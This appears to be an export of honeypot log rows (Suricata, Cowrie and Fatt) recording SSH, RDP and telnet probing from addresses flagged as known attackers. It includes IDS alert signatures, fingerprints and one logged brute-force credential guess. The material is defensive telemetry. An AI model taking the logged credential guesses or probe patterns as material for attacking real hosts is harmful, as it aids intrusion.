37007	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:19:02.51702+03	2021-09-20 15:30:03.059894+03	{"_id": "9AYlA3wBvYTbRNuEN2bY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 38665, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 854131492709276, "@version": "1", "in_iface": "enp5s0", "src_port": 54743, "dest_port": 53, "timestamp": "2021-09-20T12:19:02.517020Z", "@timestamp": "2021-09-20T12:19:02.517Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
37008	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:19:02.518448+03	2021-09-20 15:30:03.060892+03	{"_id": "8gYlA3wBvYTbRNuEN2bY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 38665, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1532, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 854131492709276, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 54743, "timestamp": "2021-09-20T12:19:02.518448Z", "@timestamp": "2021-09-20T12:19:02.518Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
37009	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:19:03.035963+03	2021-09-20 15:30:03.062893+03	{"_id": "9QYlA3wBvYTbRNuEN2ba", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 55700, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1531, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1398885817222416, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48567, "timestamp": "2021-09-20T12:19:03.035963Z", "@timestamp": "2021-09-20T12:19:03.035Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
37010	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:19:02.570232+03	2021-09-20 15:30:03.064891+03	{"_id": "_wYlA3wBvYTbRNuEOWYR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36356, "dest_port": 443, "timestamp": "2021-09-20T12:19:02.570232", "@timestamp": "2021-09-20T12:19:02.570Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
37011	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:19:03.694453+03	2021-09-20 15:30:03.065892+03	{"_id": "BAYlA3wBvYTbRNuEOme5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "88f2e61a5a96", "@version": "1", "timestamp": "2021-09-20T12:19:03.694453Z", "@timestamp": "2021-09-20T12:19:03.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
37012	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:19:03.693848+03	2021-09-20 15:30:03.067891+03	{"_id": "CAYlA3wBvYTbRNuEO2fB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:19:01.145662+0000", "pkts_toclient": 5, "pkts_toserver": 6, "bytes_toclient": 969, "bytes_toserver": 1283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1281942447536382, "payload": "AAADVAUUJ52zdE7IBOmO8wM0m0m8HgAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAAqGBrFrQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52238, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:19:03.693848Z", "@timestamp": "2021-09-20T12:19:03.693Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..'..tN......4.I......ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............*...."}}	1	\N	\N	alert	known attacker	CN
37013	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:19:03.435196+03	2021-09-20 15:30:03.070891+03	{"_id": "CQYlA3wBvYTbRNuEPGe2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52238, "timestamp": "2021-09-20T12:19:03.435196", "@timestamp": "2021-09-20T12:19:03.435Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37014	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:19:00.095344+03	2021-09-20 15:30:03.071892+03	{"_id": "4gYlA3wBvYTbRNuELGYf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:59.736384+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2195836326067328, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56305, "dest_port": 3389, "timestamp": "2021-09-20T12:19:00.095344Z", "@timestamp": "2021-09-20T12:19:00.095Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
37015	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:19:00.095344+03	2021-09-20 15:30:03.073891+03	{"_id": "4wYlA3wBvYTbRNuELGYf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:59.736384+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2195836326067328, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56305, "dest_port": 3389, "timestamp": "2021-09-20T12:19:00.095344Z", "@timestamp": "2021-09-20T12:19:00.095Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
37018	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:19:03.110623+03	2021-09-20 15:30:03.079892+03	{"_id": "AgYlA3wBvYTbRNuEOWcR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36358, "dest_port": 443, "timestamp": "2021-09-20T12:19:03.110623", "@timestamp": "2021-09-20T12:19:03.110Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
37019	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:18:53.424934+03	2021-09-20 15:30:03.080892+03	{"_id": "zAYlA3wBvYTbRNuEE2al", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.login.failed", "message": "login attempt [melanie/melanie] failed", "session": "b72b3c96e3b1", "@version": "1", "password": "melanie", "username": "melanie", "timestamp": "2021-09-20T12:18:53.424934Z", "@timestamp": "2021-09-20T12:18:53.424Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	BR
37020	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:53.660527+03	2021-09-20 15:30:03.082892+03	{"_id": "zQYlA3wBvYTbRNuEE2al", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "e4352168ab0e", "@version": "1", "duration": 1.3316013813018799, "timestamp": "2021-09-20T12:18:53.660527Z", "@timestamp": "2021-09-20T12:18:53.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
37021	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:18:54.662779+03	2021-09-20 15:30:03.084892+03	{"_id": "zwYlA3wBvYTbRNuEF2aN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b72b3c96e3b1", "@version": "1", "duration": 2.503613233566284, "timestamp": "2021-09-20T12:18:54.662779Z", "@timestamp": "2021-09-20T12:18:54.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	BR
37022	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:18:53.000834+03	2021-09-20 15:30:03.086893+03	{"_id": "0AYlA3wBvYTbRNuEHGZ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:35.240148+0000", "pkts_toclient": 7, "pkts_toserver": 10, "bytes_toclient": 548, "bytes_toserver": 1224}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 10, "action": "allowed", "category": "Potentially Bad Traffic", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2019_10_07"]}, "severity": 2, "signature": "GPL TELNET Bad Login", "signature_id": 2101251}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "109.104.151.106", "flow_id": 118620485036564, "payload": "bG9naW46IP/7AVBhc3N3b3JkOiAKTG9naW4gaW5jb3JyZWN0CmxvZ2luOiBQYXNzd29yZDogCkxvZ2luIGluY29ycmVjdApsb2dpbjog", "@version": "1", "src_port": 23, "app_proto": "failed", "dest_port": 53184, "timestamp": "2021-09-20T12:18:53.000834Z", "@timestamp": "2021-09-20T12:18:53.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "login: ...Password: \\nLogin incorrect\\nlogin: Password: \\nLogin incorrect\\nlogin: "}}	1	\N	\N	alert	\N	\N
37029	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:19:03.430288+03	2021-09-20 15:30:03.101892+03	{"_id": "BQYlA3wBvYTbRNuEOme5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:52238 (192.168.176.2:22) [session: 88f2e61a5a96]", "session": "88f2e61a5a96", "@version": "1", "protocol": "ssh", "src_port": 52238, "dest_port": 22, "timestamp": "2021-09-20T12:19:03.430288Z", "@timestamp": "2021-09-20T12:19:03.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
37023	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:56.368088+03	2021-09-20 15:30:03.088892+03	{"_id": "0QYlA3wBvYTbRNuEHWZx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38612, "timestamp": "2021-09-20T12:18:56.368088", "@timestamp": "2021-09-20T12:18:56.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
